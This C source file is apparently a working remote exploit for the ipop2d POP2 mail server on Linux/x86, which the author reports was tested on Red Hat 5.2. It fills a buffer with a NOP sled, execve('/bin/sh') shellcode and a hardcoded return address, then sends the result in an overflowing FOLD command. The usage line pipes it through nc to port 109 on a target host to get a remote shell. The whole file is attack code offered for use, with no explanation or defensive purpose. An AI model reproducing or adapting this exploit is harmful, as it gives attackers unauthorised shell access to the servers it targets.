/*
 * *working* ipop2d exploit for linux/x86
 * tested on redhat 5.2
 *
 * - rsh <dmk@slack.net>
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


#define RET 0xbffff5a8
 
int main(int argc, char *argv[]) {
    char buf[1099];
    int off=0,b=1024,i,a=0;
    u_long *p;

    if(argc<4) {
        fprintf(stderr,"use: (%s <auth> <user> <pw> [offset];cat) | nc"
            " <target> 109\n",argv[0]);
        exit(1);
    }
    if(argv[4])
        off=atoi(argv[4]);
    b-=strlen(argv[1])+strlen(argv[2])+17;
    fprintf(stderr,"{!} buf size\t: %d\n{!} ret addr\t: %#x\n\n",b,RET-off);
    memset(buf,0x90,sizeof(buf));
    for(i=((b+4)-strlen(shellcode));i<(b+4);i++)
        buf[i]=shellcode[a++];
    p=(u_long *)(buf+(b+4));
    *p=(RET-off);
    buf[b+4+4]='\0';
    printf("HELO %s:%s %s\r\n",argv[1],argv[2],argv[3]);
    sleep(10);
    printf("FOLD %s\r\n",buf);
}